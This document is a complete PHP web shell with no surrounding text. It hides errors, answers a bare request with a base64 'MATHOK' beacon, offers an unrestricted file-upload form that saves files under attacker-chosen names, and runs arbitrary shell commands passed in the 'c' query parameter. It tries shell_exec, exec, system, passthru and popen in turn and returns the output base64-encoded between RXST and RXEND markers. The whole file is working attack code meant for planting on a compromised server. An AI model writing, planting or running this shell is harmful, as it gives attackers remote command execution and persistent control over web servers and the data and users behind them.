<?php @ob_start();@set_error_handler(null);@set_exception_handler(null);@ini_set("display_errors",0);if(!isset($_GET["c"])&&!isset($_GET["ss"])){@ob_end_clean();header("Content-Type: text/plain");echo"RXST:".base64_encode("MATHOK:67700").":RXEND";exit(0);}if(isset($_GET["ss"])&&$_GET["ss"]=="up"){@ob_end_clean();header("Content-Type: text/html");if(isset($_FILES["f"])){move_uploaded_file($_FILES["f"]["tmp_name"],$_FILES["f"]["name"]);echo"Saved: ".$_FILES["f"]["name"];}else{echo"<form method=post enctype=multipart/form-data><input type=file name=f><button>Upload</button></form>";}exit(0);}$c=$_GET["c"]." 2>&1";$o="";if(function_exists("shell_exec")){$o=@shell_exec($c);}elseif(function_exists("exec")){@exec($c,$a);$o=implode("\n",$a);}elseif(function_exists("system")){ob_start();@system($c);$o=ob_get_clean();}elseif(function_exists("passthru")){ob_start();@passthru($c);$o=ob_get_clean();}elseif(function_exists("popen")){$h=@popen($c,"r");$o="";while(!feof($h)){$o.=fread($h,4096);}pclose($h);}else{$o="BLOCKED";}@ob_end_clean();header("Content-Type: text/plain");echo"RXST:".base64_encode($o===null?"":$o).":RXEND";exit(0);?>